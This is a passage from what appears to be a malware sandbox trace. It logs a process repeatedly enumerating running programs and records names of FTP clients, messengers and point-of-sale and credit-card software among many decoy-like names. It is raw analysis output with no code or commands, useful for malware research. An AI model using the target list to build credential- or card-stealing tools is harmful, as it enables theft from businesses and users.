th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0233.920] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0233.922] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0233.923] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0233.976] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0233.978] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0233.980] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0233.982] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0233.984] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0233.986] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0233.988] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0233.990] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0233.991] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0233.993] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0233.995] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0233.997] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0233.999] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0234.000] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0234.002] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0234.004] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0234.006] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0234.007] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0234.009] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0234.010] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0234.012] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0234.014] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0234.015] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0234.017] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0234.018] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0234.092] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0234.093] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0234.095] CloseHandle (hObject=0xc20) returned 1 [0234.095] Sleep (dwMilliseconds=0x64) [0234.131] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc20 [0234.143] Process32First (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.145] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0234.146] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0234.148] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.149] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0234.151] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.153] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0234.154] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0234.156] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0234.157] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.159] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.236] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0234.238] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.240] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.242] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.243] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.245] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.246] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.248] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.249] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0234.251] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0234.253] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0234.313] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.315] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0234.317] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0234.318] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0234.320] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0234.321] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.323] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0234.324] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0234.326] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0234.327] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0234.329] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0234.330] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0234.384] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0234.386] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0234.387] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0234.389] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0234.391] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0234.393] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0234.395] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0234.397] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0234.398] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0234.400] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0234.402] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0234.404] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0234.405] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0234.408] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0234.409] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0234.411] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0234.413] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0234.415] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0234.417] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0234.418] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 